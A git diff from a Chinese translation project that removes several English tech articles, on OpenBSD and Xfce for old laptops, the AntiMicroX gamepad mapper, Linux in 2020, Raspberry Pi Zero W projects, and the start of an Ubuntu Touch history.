excellent tool to teach and explore the essential components of any operating system. - - - -## Distributions to try - -To encourage you, here is a list of distros that I have tried on old hardware with very good results. These are not the only options available, but these are the ones I have used the most: - - * [Linux Lite][2] - * [FreeBSD][3] - * [OpenBSD][4] - * [Lubuntu][5] - * [Debian][6] - * [Tiny Core Linux][7] - * [Slax Linux][8] - - - -## Give it a try with OpenBSD - -OpenBSD is one of the main [BSD][9] distros. It is well-known because it is made with security in mind, with almost no security bugs in the default installation and a lot of cryptography tools available to users. Another cool feature, at least for me, is the fact that you can run it on a huge variety of hardware, from new computers to very old machines. - -For this installation, my hardware was a 2005 MacBook with the following specs: - - * A 32-bit, dual-core processor - * 2GB of RAM (with no possibility of expansion) - * A 32GB hard drive - * Two network cards - * A CD-ROM (reads only CDs) - * A few USB ports - - - -### Install OpenBSD - -The installation was very straightforward. I [downloaded][10] the most recent version of OpenBSD and created a boot CD (because there is no other way to boot my old laptop besides the internal drive). The installation went flawlessly. It recognized my hardware, network (including my access point), and time zone; let me choose the layout of my hard drive and manage my users; and asked some questions about the system's security setup. Also, even though the installation has a very small footprint, OpenBSD let me choose what to install and from where. - -I ended up with a brand-new, up-to-date operating system and a screen like this. - -![OpenBSD][11] - -(Jonathan Garrido, [CC BY-SA 4.0][12]) - -### Add a graphical desktop - -If you want your desktop to use graphical applications, a black terminal with white letters is not enough. So follow these steps to install the [Xfce desktop][13]: - - 1. As root, run: [code]`pkg_add xcfe xfce-extras slim slim-themes consolekit2 polkit`[/code] to install the Xfce environment and the login greeter. In the above, `pkg_add` is the utility to use when you want to d \ No newline at end of file diff --git a/sources/tech/20201027 Map Your Gamepad Buttons With Keyboard, Mouse, or Macros-Scripts Using AntiMicroX in Linux.md b/sources/tech/20201027 Map Your Gamepad Buttons With Keyboard, Mouse, or Macros-Scripts Using AntiMicroX in Linux.md deleted file mode 100644 index 2fef431fa4..0000000000 --- a/sources/tech/20201027 Map Your Gamepad Buttons With Keyboard, Mouse, or Macros-Scripts Using AntiMicroX in Linux.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Map Your Gamepad Buttons With Keyboard, Mouse, or Macros/Scripts Using AntiMicroX in Linux) -[#]: via: (https://itsfoss.com/antimicrox/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Map Your Gamepad Buttons With Keyboard, Mouse, or Macros/Scripts Using AntiMicroX in Linux -====== - -_**Brief: AntiMicroX is a GUI tool to map your gamepad with your keyboard, mouse, or custom macros/scripts in Linux. Let’s take a closer look at it.**_ - -Gaming peripherals on Linux do not have a great reputation, but we do have some interesting open source tools that can make things easier for you. For instance, I’ve previously covered a tool [Piper which lets you configure your gaming mouse][1]. - -This time, let me introduce you to an exciting open source tool that lets you utilize your game pad by mapping it to your keyboard, mouse, scripts, or macros. - -![][2] - -In this article, I’ll mention why you might need it and its key features to help you know more about it. - -### AntiMicroX: An open source tool to map your gamepad - -Of course, this isn’t for everyone but an open source GUI tool for something useful, why not? - -Maybe you have a system that you utilize for media consumption (or as a [media server on Linux][3]). Or, maybe you want to use a desktop application using your gamepad. - -Also, you may want to use it to play a game that does not offer gamepad support. - -For such cases, AntiMicroX is a tool that you would want to explore (even if that’s just for fun). - -### Features of AntiMicroX - -![][4] - - * Map with keyboard buttons - * Controller mapping to make sure the host detects the correct triggers - * Multiple controller profile - * Ability to launch an executable using the gamepad - * Map with mouse buttons - * Gamepad calibration option - * Tweak Gamepad poll rate (if needed) - * Auto profile support - - - -### Installing AntiMicroX on Linux - -![][5] - -AntiMicroX offers a wide range of options to get it installed on a Linux distribution. You will find a DEB package, [Flatpak package][6], and an AppImage file. - -It is easy to [install it using the deb package][7]. In addition to that, you may refer to our [Flatpak guide][8] or [AppImage guide][9] to get started installing AntiMicroX as well. - -You can also build it from source if needed. Nevertheless, you should find all the necessary instructions in its [GitHub page][10] along with the packages in its [releases section][11]. - -[AntiMicroX][12] - -**Recommended Read:** - -![][13] - -#### [How to Configure Gaming Mouse on Linux Using Piper GUI Tool][1] - -Love gaming on Linux? Take your gaming to the next level by configuring your gaming mouse in Linux using Piper GUI application. - -### My Thoughts on Using AntiMicroX on Linux - -Surprisingly, mapping the game pad buttons was easier than you would expect. I was able to map the buttons with my keyboard and assign custom macros/scripts as well. - -Mapping the buttons with the mouse isn’t that simple and may not work well if you already have the mouse buttons assigned for different macros (like in my case). For gaming, it would be nice to calibrate and map the gamepad buttons properly before pairing it up with the keyboard buttons. - -It worked just fine with my generic controller. You can definitely try it out. - -Did you know about this? Have you tried it yet? Now that we’re looking for interesting open-source tools, do you know about anything else similar to this for [gaming on Linux][14]? - -Let me know your thoughts in the comments below. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/antimicrox/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/piper-configure-gaming-mouse-linux/ -[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/antimicrox-mapping.png?resize=800%2C557&ssl=1 -[3]: https://itsfoss.com/best-linux-media-server/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/antimicrox-gamepad.jpg?resize=800%2C631&ssl=1 -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/antimicrox-calibration.jpg?resize=800%2C637&ssl=1 -[6]: https://itsfoss.com/what-is-flatpak/ -[7]: https://itsfoss.com/install-deb-files-ubuntu/ -[8]: https://itsfoss.com/flatpak-guide/ -[9]: https://itsfoss.com/use-appimage-linux/ -[10]: https://github.com/AntiMicroX/antimicrox -[11]: https://github.com/AntiMicroX/antimicrox/releases -[12]: https://github.com/AntiMicroX/antimicrox/ -[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/06/configuring-gaming-mouse-linux.png?fit=800%2C450&ssl=1 -[14]: https://itsfoss.com/linux-gaming-guide/ diff --git a/sources/tech/20201102 5 reasons to use Linux in 2020.md b/sources/tech/20201102 5 reasons to use Linux in 2020.md deleted file mode 100644 index 832ac8fd46..0000000000 --- a/sources/tech/20201102 5 reasons to use Linux in 2020.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 reasons to use Linux in 2020) -[#]: via: (https://opensource.com/article/20/11/linux-2020) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -5 reasons to use Linux in 2020 -====== -Here's a look back at the year so far and a review of what you need to -know about Linux in 2020. -![Penguin driving a car with a yellow background][1] - -Some of the best technology is a moving target. When technology stagnates, society tends to outpace and outgrow it. [Linux][2], the widely used open source operating system (OS), is a foundational technology and the basis for some of the most progressive modern computing ideas. So, while it's startlingly unchanged after three decades of development, it also allows adaptation. As a result, Linux is in a unique position of being both a sound investment in skills because it doesn't change and a seemingly eternal driving force for new skills to learn. - -The year 2020 has been a strange one—by any measure—but for Linux, it's been a typical development cycle. Here's a look back at the year so far and a review of what you need to know about Linux in 2020. - -### ZFS on Linux - -The ZFS filesystem offers integrity checking for data and metadata, redundancy with mirroring, support for up to _256 trillion yobibytes_ of storage, hardware-accelerated native encryption, and efficient replication. ZFS is a Sun Microsystems innovation that, unfortunately, has a license that prohibits it from being bundled with Linux by default. However, the [OpenZFS][3] group has ported the project to BSD and Linux so that you can run ZFS on anything from your laptop to your data center. - -Getting started with ZFS is surprisingly simple on Fedora Linux, as Sheng Mao demonstrates in his article on [setting up ZFS on Linux][4]. - -### Linux interrupts - -No matter how familiar you are with Linux, there's always an opportunity to dive deeper and discover how it achieves what it does so well. Computers running stock markets, digital film studios, audio workstations, and other performance-intensive tasks need real-time processing, while other computers can afford to be a little lazy when processing requests, and it's no small task to manage the myriad loops happening on a computer at any given millisecond. Understanding how and why the Linux kernel manages interrupt requests (IRQs) may not be vital to the everyday user, but it's a fascinating study no matter what you do on computers. Read Stephan Avenwedde's article "[How the Linux kernel handles interrupts][5]" to learn more. - -### Linux in your pocket - -Since Google's Android OS runs on a Linux kernel, many of us technically have Linux in our pockets. As comforting as that might be, Android's smooth Java frontend doesn't always provide the Linux _feeling_ many Linux users long for. And some users don't have an Android phone at all. - -The good news is that you can use Linux on your Android or iOS device, complete with a terminal, Bash, Python, a package manager, and all the other things you love about your favorite open source desktop OS. - -If you're on Android, read my article about [Termux][6]. And if you're on iOS, read Lee Tusman's excellent article about [running a Linux command line on your iOS device][7]. - -### New commands on Linux - -Time marches on, and sometimes the old, quaint commands of yesteryear are insufficient for modern systems. Although your muscle memory may cling to commands like `crontab` and `ifconfig` (and `iwconfig` and `wpa_supplicant`), there are perfectly good replacements for these and more. If you can't bring yourself to abandon your old commands, get familiar with [Bash aliases][8] because these new commands are worth learning. - - * Drop `ifconfig` for `nmcli`. Look, at some point, you have to admit that the unholy combination of `ifconfig` plus `iwconfig` and a foray into `wpa_supplicant` (which you secretly dropped long ago in favor of `wicd` anyway) just isn't efficient. Linux uses `nmcli` now, and it's become a highly usable, sometimes even intuitive way to interface with your network. Read Dave McKay's excellent [nmcli tutorial][9]. - * Cronjobs, `at`, and `batch` are uniquely timeless commands that probably ought never be replaced. They're great for quick and simple scheduling, but for complex jobs, you might find some features you like in a supplement to them: systemd timers. David Both provides an extensive [systemd timers tutorial][10] that demonstrates how to write and monitor your important custom system tasks. - * `gcore` and `gdb` are important debuggers that developers may be familiar with. A new take on `gcore` functionality is Microsoft's ProcDump, which obtains a core dump of a process ID (PID) so that you can analyze it with `gdb`. It's more an alternative than a replacement, but it's worth trying if you're curious about different tools. Read Guarav Kamathe's [ProcDump tutorial][11] for more information. - - - -### The cloud runs on Linux - -As "the cloud" continues full steam ahead, Linux remains its main driving force. The cloud is a collection of computers (nodes) with a massively distributed filesystem (such as [Ceph][12]), and it's commonly managed with Kubernetes ("_KOO-burr-net-eez"_] or [OpenShift][13]. - -Regardless of how well you know Linux on your laptop or desktop or even in your private data center, there's a whole new world of Linux experimentation available in containers running on the cloud. It can take some adjustment to learn how to get comfortable in an ephemeral container, but with some practice and a little context, you can build some interesting systems and then orchestrate them (that is, cause them to update, scale, and perform as needed) with Kubernetes. - -Jiaqi Liu wrote one of the best overviews of the cloud workflow in "[A beginner's guide to Kubernetes container orchestration][14]." Read it, and then download Chris Collins' [Kubernetes eBook][15] to build your own cloud at home on a Raspberry Pi cluster. - -### Open source growth - -Linux users relish the consistency and stability of Linux, and it's a testament to the original Unix system design that the OS can stay the same while also pushing its boundaries into exciting new forms of technology. Part of the fun of Linux and open source is the sense of discovery you get when you start learning a new command and the sense of accomplishment when it works to make your life easier. Take a look at the latest Linux developments, and get started with something new today! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/linux-2020 - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/car-penguin-drive-linux-yellow.png?itok=twWGlYAc (Penguin driving a car with a yellow background) -[2]: https://opensource.com/resources/linux -[3]: https://openzfs.org/wiki/Main_Page -[4]: https://opensource.com/article/20/10/zfs-dnf -[5]: https://opensource.com/article/20/10/linux-kernel-interrupts -[6]: https://opensource.com/article/20/8/termux -[7]: https://opensource.com/article/20/9/run-linux-ios -[8]: https://opensource.com/article/19/7/bash-aliases -[9]: https://opensource.com/article/20/7/nmcli -[10]: https://opensource.com/article/20/7/systemd-timers -[11]: https://opensource.com/article/20/7/procdump-linux -[12]: https://opensource.com/business/15/1/introduction-ceph-storage-openstack -[13]: https://www.redhat.com/en/technologies/cloud-computing/openshift -[14]: https://opensource.com/article/20/6/container-orchestration -[15]: https://opensource.com/downloads/kubernetes-raspberry-pi diff --git a/sources/tech/20201103 27 Super Cool Raspberry Pi Zero W Projects for DIY Enthusiasts.md b/sources/tech/20201103 27 Super Cool Raspberry Pi Zero W Projects for DIY Enthusiasts.md deleted file mode 100644 index e315657689..0000000000 --- a/sources/tech/20201103 27 Super Cool Raspberry Pi Zero W Projects for DIY Enthusiasts.md +++ /dev/null @@ -1,364 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (27 Super Cool Raspberry Pi Zero W Projects for DIY Enthusiasts) -[#]: via: (https://itsfoss.com/raspberry-pi-zero-projects/) -[#]: author: (Chinmay https://itsfoss.com/author/chinmay/) - -27 Super Cool Raspberry Pi Zero W Projects for DIY Enthusiasts -====== - -The small form factor of the [Raspberry Pi Zero W][1] enables a new range of projects. In fact, a lot of people use the Pi Zero in the final version of the project after prototyping on a different full-sized Pi board. And, that’s because it consumes much less power compared to the flagship Pi boards and makes it ideal to build battery powered gadgets. - -Preview | Product | Price | ----|---|---|--- -![CanaKit Raspberry Pi Zero W \(Wireless\) Complete Starter Kit - 16 GB Edition][2] ![CanaKit Raspberry Pi Zero W \(Wireless\) Complete Starter Kit - 16 GB Edition][2] | [CanaKit Raspberry Pi Zero W (Wireless) Complete Starter Kit - 16 GB Edition][3] | $32.99[][4] | [Buy on Amazon][5] - -After scouring [Instructables][6], [Reddit][7], [Hackaday][8], other maker oriented communities and my own experience with Pi, I have compiled a list of projects built around the Raspberry Pi Zero and the Raspberry Pi Zero W. The community is extremely innovative and all these projects make impressive use of various features of this maker board. - -So, in addition to the awesome list of [Raspberry Pi Projects][9] that we covered earlier, here, we will be focusing on Raspberry Pi Zero! - -### Top Creative Projects You Can Build With Raspberry Pi Zero - -![][10] - -Of course, you’re free to use some [Raspberry Pi Zero alternatives][11] and try the same project ideas mentioned below. - -#### 1\. Portable Game Console - -This is by far my favorite project built around the Raspberry Pi Zero, hence featured at the top. Today we have emulators for most of the retro games. This project puts the Pi Zero in the classic game-boy form factor. You can play most of your favorite retro games and you can play them anywhere. - -This project is also beautifully documented in YouTube video(s) and on Instructables. - -[Portable Game Console][12] - -#### 2\. DIY Smart Speaker Powered by Alexa - -Amazon’s Alexa has always been very tinkerer friendly and makers around the world have built all kinds of Alexa based devices. This project also adds RGB programmable LED’s to make it look a little more like the echo speaker. - -[DIY Smart Speaker][13] - -#### 3\. Home Network Music System - -Getting a proper home music system setup is usually expensive. However, with the inexpensive Raspberry Pi Zero, you can utilize your MP3 collection to set up a home network music system. - -This project uses the [PiDrive][14], PiDrive is basically a Raspberry Pi Zero W attached to a hard disk. Unfortunately, I think it has been discontinued but you can also build it using a normal Pi Zero W in different configurations. You can play local music or even stream from different services. - -[Pi MusicBox][15] - -#### 4\. Network Ad Blocker using Pi-Hole - -This is something I personally use on a daily basis and it has completely changed my internet experience. If you’re someone who doesn’t want to see advertisements while you browse around online, an Ad blocker using Raspberry Pi would be exciting, right? - -[Pi-Hole][16] on a Raspberry Pi can block all the ads on your entire network. Anyone on the network with an active Pi-Hole will have an ad-free experience. It also speeds up your internet experience since the bandwidth used by ads is freed up. - -You can watch Linus’ video to get an idea or refer to the detailed post in Linus Tech Tips forums linked in the button below. - -[Ad-Blocker using Pi Hole][17] - -#### 5\. AirPlay Speaker using Raspberry Pi Zero - -![][18] - -AirPlay is a chromecast equivalent in the Apple ecosystem, you can cast media from your Apple devices to an AirPlay supported speaker. - -This project is built very well with 3D printed parts and you can find detailed instructions for it. - -[AirPlay Speaker][19] - -#### 6\. DIY Google Home with a Bluetooth Speaker - -![][20] - -This is another nifty little project which is a tinkerer’s dream. Building your own smart speaker powered by the Google Assistant? Indeed, exciting! - -Here, a Pi Zero is paired with a Bluetooth speaker, microphone and the Google Assistant SDK to achieve some functionalities. You can ask questions and do most of the things you can with the official Google Home device. This project does not handle the casting part of the Google Home experience though. - -[DIY Google Home][21] - -#### 7\. Pedal Pi – Raspberry Pi Zero Guitar Pedal - -Pedal Pi is a programmable Lo-Fi guitar pedal built using the Pi Zero where you can program your own custom effects. The project is fully open source (including the hardware) as well. It goes to prove how versatile the Pi Zero can be. - -It can be an incredibly fun experience for people who are makers and also into digital music. - -[Pedal Pi][22] - -#### 8\. ZeroBot – FPV Robot - -There are a lot of different robots you can build using the Pi Zero. It is almost perfect for any kind of robot that you can think of building. It has ample amount of [GPIO][23], a decent processor, a camera interface and the choice of software stack and programming language. - -The ZeroBot is an [FPV][24] bot which also has a camera and is able to transmit what it is seeing. It even features a completely 3D printed body. - -You can find [detailed instructions here][25]. - -#### 9\. WiFi Security Camera - -Raspberry Pi Zero W comes with a CSI connector where you can connect the camera module. This compatibility also lets you easily build a WiFi-powered CCTV camera(s) for your home at a very reasonable price compared to commercial products. - -The [motionEyeOS][26] is a purposely built to convert your SBC (in this case the Pi Zero) to a surveillance system. You can find more information in the video above or head to the link below. - -[WiFi Security Camera][27] - -#### 10\. PIX-E GIF Camera - -![][28] - -GIF’s have taken over social media and all IM platforms. Just thinking of a dedicated GIF camera makes me chuckle. That’s exactly what this project is all about. I am very curious about how it would turn out with the new HQ camera which has a much better image quality. - -This [project has been documented][29] really well with accompanying videos on Hackaday - -[GIF Camera][29] - -#### 11\. Wearable Timelapse Camera - -One of the sleekest camera project I’ve seen, this is a wearable camera. You can take time-lapses, and videos from a first person’s perspective. - -This is a project by Adafruit and is documented really well. Refer to the video above to get an idea or head to the link below. - -[Wearable Timelapse Camera][30] - -#### 12\. Telescope Camera - -![][31] - -Building a telescope camera is one of the most popular camera based applications for the Pi Zero. Makers around the world have taken amazing pictures with their DIY telescope cameras. - -[Telescope Camera][32] - -#### 13\. Kodi on Pi Zero - -Kodi is one of the best open source [media server software][33] for making a media box for your TV. The amazing part is that it also runs on the Pi Zero W. - -Now you can DIY an alternative to the Amazon Fire TV Stick. - -[Kodi on Pi Zero][34] - -#### 14\. OctoPrint – Wireless 3D Printing - -![][35] - -If you are into 3D printing, you would have heard about [OctoPrint][36] at some point. OctoPrint unlocks many feature comforts we enjoy with normal printers like sending print jobs directly from the computer to the 3D printer instead of using a micro SD card. You can also attach a webcam and monitor your prints and control all aspects of the printer. - -OctoPrint is usually used with the bigger Pi’s but it can also be used with the Raspberry Pi Zero W with some soldering and mods. It is important to note that there is low WiFi interference when using the Pi Zero since it can impact prints. Here are some references talking about OctoPrint on Pi Zero to help you build it yourself: - - * [OctoPrint on Pi Zero][37] - * [OctoPrint on Pi Zero (from Prusa 3D)][38] - - - -#### 15\. Pirate Radio Station - -This seems like quite a fun idea, you can actually make the Pi Zero W broadcast using FM. - -It also happens to be a simple project and you don’t need many additional components either. You can be your own neighborhood RJ, do make sure to check out the legal aspects of a pirate radio station in your country. - -[Pirate Radio Station][39] - -#### 16\. IoT Smart Alarm Clock - -![][40] - -Here’s a project making something which might sound very trivial but nevertheless is super cool and underrated. - -The freedom of being able to program your own alarm clock, automating it with scripts and making your life a little easier and fun (and still not waking up) sounds exciting! - -[IoT Smart Alarm Clock][41] - -#### 17\. Pi Zero Tesla Coil - -This is the most unexpected yet an amazing project I’ve come across which uses the Pi Zero W. - -It doesn’t get cooler than playing music on a [tesla coil][42] using the Pi. Make sure you watch the video. - -[Tesla Coil with Pi Zero][43] - -#### 18\. Network Performance Monitoring using Pi Zero - -![][44] - -If you like to keep tabs on your network, you should check out this project. - -This is a [bandwidth monitor][45] built using the Pi Zero W that features a nifty little screen to display important stats. - -[Bandwidth Monitor][45] - -#### 19\. Pi Pod – Raspberry Pi Zero Music Player - -![][46] - -It’s 2020 and you might be thinking who would want a portable music player since mobile phones have replaced them almost entirely. But, there are always people (including myself) who would want a device dedicated to music and does not do anything else. - -This project features the Raspberry Pi Zero W in another form and looks pretty neat. It’s called the **Pi Pod**. - -You can also design your own 3D printable enclosure and customize every element of the music player. - -[Pi Pod][47] - -#### 20\. Raspberry Pi Drone - -![][48] - -The Pi Zero packs in enough features and processing power for it be at the heart of a drone. It is light weight, cheaper than some alternative drone specific boards too. You also get the freedom of using different firmware(s) or code one on your own. - -There are also many open source designs available for the frame of the drone on [Thingiverse.][49] - -[Pi Drone][50] - -#### 21\. Internet Connected Info Display - -The Pi Zero W is capable of connecting to the internet via WiFi, it also has all the GPIO and display outputs to make a highly functional device to display information from the internet. - -The freedom of programming means that you can have the display show any information you need. Your google calendar events, stock prices and anything you can find on the internet. -Here are a couple of interesting projects which are built around this idea. - - 1. [YouTube Subscriber Counter][51] - 2. [Raspberry Pi Internet Connected Information Display][52] - - - -#### 22\. Raspberry Pi Pocket Projector - -Ever since Texas Instruments came out with the mini projector evaluation board, a Raspberry Pi Zero based projector has been a very popular project. - -If you can get your hands on the projector module, this can be a very interesting build. This is not a beginner-friendly project, but a tinkerer should feel right at home. You can find all the relevant details from the video above. - -#### 23\. VPN Server - -![][53] - -In today’s world, extra care needs to be taken about companies barging into one’s privacy and using a VPN is becoming more and more commonplace. - -Fret not, you can utilize the Raspberry Pi Zero W with [OpenVPN][54] to add an extra layer of security to your home network. This can be a great for small families where everyone in the house can be protected and don’t need to separate VPN subscriptions. - -[VPN Server][55] - -#### 24\. Weather Station - -![][56] - -This is a very cool project, a complete weather station which can display various weather metrics for the day and forecasts too. It even includes a 3D printed case which looks pretty sharp. The amazing part is that you can use the display to show things other than weather as well. - -As I also noticed in another similar project on [Instructables][57], you may also tweak it with your own custom database and website. - -[Weather Station][58] - -#### 25\. Ambient Lighting System for TV - -An ambient lighting system enhances the TV experience, this is another amazing project involving the Raspberry Pi Zero. - -In real life this effect feels like a dynamic portrait mode applied to the screen and whatever is being shown on the screen, makes the experience a lot immersive. - -GreatScott (a popular YouTuber) for content based around electronics and DIY shows you around with the project in the video above. You may also refer to the written instructions from the link below. - -[Ambient Lighting System][59] - -#### 26\. Wireless Network Printer - -![][60] - -The Pi Zero W is a great board to make any old printer free from being fixed to one computer and have the freedom of placing it anywhere. - -This way print jobs can be sent from multiple computers, phones on the same network. This is a quality of life improvement which is highly underrated, even in households. - -This project utilizes [CUPS][61] running on Pi Zero W to make your printer wireless. - -[Wireless Network Printer][62] - -#### 27\. Pi Zero Cluster - -![][63] - -You can pack in 10’s of these tiny computers together to have access to massive amounts of parallel processing. The GPU’s on these SBC’s can be utilized for challenging compute needs. - -Regular Raspberry Pi’s have long been used to make clusters and Raspberry Pi based super computers consisting of 100’s – 1000’s of Pi’s. Since the introduction of the Pi Zero with it’s lower price and size, it is possible to put more of them into a small space. - -There are many custom boards which are built to hold multiple Pi Zero’s. - -[Pi Zero Cluster][64] - -#### Closing Thoughts - -The projects featured here are only a tip of the iceberg. You can find many more projects if you look around on the internet. The versatility of the Raspberry Pi Zero is unprecedented, combined with its affordability it is one of the most used SBC by makers and tinkerers around the world. - -What did you build with the Raspberry Pi Zero ? Put it in the comments below along with your favorite projects. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/raspberry-pi-zero-projects/ - -作者:[Chinmay][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/chinmay/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/raspberry-pi-zero-w/ -[2]: https://i1.wp.com/m.media-amazon.com/images/I/517BwcAPmTL._SL160_.jpg?ssl=1 -[3]: https://www.amazon.com/dp/B072N3X39J?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (CanaKit Raspberry Pi Zero W (Wireless) Complete Starter Kit - 16 GB Edition) -[4]: https://www.amazon.com/gp/prime/?tag=chmod7mediate-20 (Amazon Prime) -[5]: https://www.amazon.com/dp/B072N3X39J?tag=chmod7mediate-20&linkCode=ogi&th=1&psc=1 (Buy on Amazon) -[6]: https://www.instructables.com -[7]: https://www.reddit.com/r/raspberry_pi -[8]: https://hackaday.com -[9]: https://itsfoss.com/raspberry-pi-projects/ -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/raspberry-pi-zero-w-projects.png?resize=800%2C450&ssl=1 -[11]: https://itsfoss.com/raspberry-pi-zero-alternatives/ -[12]: https://www.instructables.com/DIY-Raspberry-Pi-Zero-Handheld-Game-Console/ -[13]: https://www.instructables.com/Alexa-Assistant-With-a-10-Raspberry-Pi-Zero-W-and-/ -[14]: https://www.raspberrypi.org/blog/meet-314gb-pidrive/ -[15]: https://www.instructables.com/Raspberry-Pi-Home-Network-Music-System/ -[16]: https://pi-hole.net/ -[17]: https://linustechtips.com/main/topic/1094810-pi-hole-setup-tutorial/ -[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-airplay-speaker.png?resize=800%2C578&ssl=1 -[19]: https://www.hackster.io/fvdbosch/raspberry-pi-zero-airplay-speaker-d99feb -[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-google-home.png?resize=800%2C541&ssl=1 -[21]: https://www.instructables.com/DIY-Google-Home-With-Bluetooth-Speaker-on-Raspberr/ -[22]: https://www.instructables.com/Raspberry-Pi-Zero-Guitar-Pedal/ -[23]: https://en.wikipedia.org/wiki/General-purpose_input/output -[24]: https://en.wikipedia.org/wiki/First-person_view_(radio_control) -[25]: https://hackaday.io/project/25092-zerobot-raspberry-pi-zero-fpv-robot -[26]: https://github.com/ccrisan/motioneyeos -[27]: https://maker.pro/raspberry-pi/projects/how-to-build-a-cctv-network-camera-with-raspberry-pi-zero-w-and-motionpie -[28]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-gif-camera.jpg?resize=800%2C633&ssl=1 -[29]: https://hackaday.io/project/16358-pix-e-gif-camera -[30]: https://learn.adafruit.com/raspberry-pi-wearable-time-lapse-camera/overview -[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-telescope-camera.png?resize=800%2C555&ssl=1 -[32]: https://www.instructables.com/Astrophotography-With-the-Raspberry-Pi-Zero/ -[33]: https://itsfoss.com/best-linux-media-server/ -[34]: https://dronebotworkshop.com/kodi-raspberry-pi/ -[35]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/octoprint-logo.png?resize=515%2C421&ssl=1 -[36]: https://octoprint.org -[37]: https://toglefritz.com/how-to-run-octoprint-on-a-raspberry-pi-zero/ -[38]: https://help.prusa3d.com/en/article/octoprint-building-an-image-for-raspberry-pi-zero-w_2182 -[39]: https://makezine.com/projects/pirate-radio-throwies/ -[40]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-iot-clock.png?resize=800%2C472&ssl=1 -[41]: https://hackaday.io/project/19230-iot-smart-alarm-clock -[42]: https://en.wikipedia.org/wiki/Tesla_coil -[43]: https://www.extremeelectronics.co.uk/electronic-tesla-coils/pi-zero-tesla-coil/ -[44]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-network-performance.png?resize=800%2C432&ssl=1 -[45]: https://www.instructables.com/Bandwidth-Monitor/ -[46]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-pod-music-player.png?resize=743%2C542&ssl=1 -[47]: https://www.raspberrypi.org/blog/pipod-pi-zero-music-player/ -[48]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-zero-drone.png?resize=736%2C552&ssl=1 -[49]: https://thingiverse.com -[50]: https://www.hackster.io/12590/pi0drone-a-200-smart-drone-with-the-pi-zero-4fec08?f=1 -[51]: https://www.youtube.com/watch?v=afY_xHqQu-s -[52]: https://www.hackster.io/fvdbosch/raspberry-pi-zero-internet-connected-information-display-5cae96 -[53]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-open-vpn.jpg?resize=800%2C296&ssl=1 -[54]: https://openvpn.net/ -[55]: https://circuitdigest.com/microcontroller-projects/turn-your-raspberry-pi-zero-in-to-a-vpn-server-using-openvpn -[56]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-zero-weather-station.png?resize=800%2C599&ssl=1 -[57]: https://www.instructables.com/Complete-Raspberry-Pi-Weather-Station/ -[58]: https://www.hackster.io/hartmut-wendt/raspberry-pi-based-weather-station-a9a7dd -[59]: https://www.instructables.com/Make-Your-Own-Ambient-Lighting-With-the-Raspberry-/ -[60]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-wireless-printer.jpg?resize=800%2C450&ssl=1 -[61]: https://www.cups.org/ -[62]: https://maker.pro/raspberry-pi/projects/how-to-turn-a-usb-printer-into-a-wireless-printer-with-raspberry-pi-zero-w -[63]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/10/pi-zero-cluster.png?resize=800%2C531&ssl=1 -[64]: https://magpi.raspberrypi.org/articles/clusterhat-review-cluster-hat-kit diff --git a/sources/tech/20201103 A Brief History of Ubuntu Touch.md b/sources/tech/20201103 A Brief History of Ubuntu Touch.md deleted file mode 100644 index c770c2e613..0000000000 --- a/sources/tech/20201103 A Brief History of Ubuntu Touch.md +++ /dev/null @@ -1,154 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A Brief History of Ubuntu Touch) -[#]: via: (https://itsfoss.com/ubuntu-touch/) -[#]: author: (John Paul https://itsfoss.com/author/john/) - -A Brief History of Ubuntu Touch -====== - -Sensing 